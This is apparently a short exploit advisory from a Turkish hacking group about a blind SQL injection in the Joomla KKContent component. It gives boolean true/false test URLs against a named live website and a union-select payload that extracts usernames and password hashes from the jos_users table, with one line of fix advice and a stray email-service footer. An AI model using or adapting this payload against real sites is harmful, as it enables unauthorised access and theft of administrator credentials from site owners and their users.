The Joomla KKContent component suffers from a remote blind SQL injection vulnerability.
90883c02ab52665255793f86e347d8a1ac97fbd13f02e886fd3632c6b601f753
<------------------- header data start ------------------- >
#############################################################
# Joomla Component com_kkcontent Blind SQL Injection Vulnerability
#############################################################
# Author : Pyske
# Home : www.cyber-warrior.org
# Greetz : Fl0riX , M-K-A and All Cyber-Warrior
# Name : com_kkcontent
# Bug Type : Blind SQL Injection
# Infection : Admin login bilgileri al?nabilir.
# Demo Vuln. :
TRUE(+)
http://www.kkconsult.dk/index.php?option=com_kkcontent&catID=9 and 1=1
FALSE(-)
http://www.kkconsult.dk/index.php?option=com_kkcontent&catID=9 and 1=0
# Bug Fix Advice : Zararli karakterler filtrelenmelidir.
#############################################################
< ------------------- header data end of ------------------- >
< -- bug code start -- >
path /index.php?option=com_kkcontent&catID=9/**/and/**/1=0/**/union/**/select/**/0,concat(username,0x3a,password)/**/from/**/jos_users--
< -- bug code end of -- >
_________________________________________________________________
Windows Live: Arkadaþlarýnýz size e-posta gönderdiklerinde Flickr, Twitter ve Digg'deki hareketlerinizi görürler.
http://www.microsoft.com/windows/windowslive/see-it-in-action/social-network-basics.aspx?ocid=PID23461::T:WLMTAGL:ON:WL:tr-tr:SI_SB_3:092010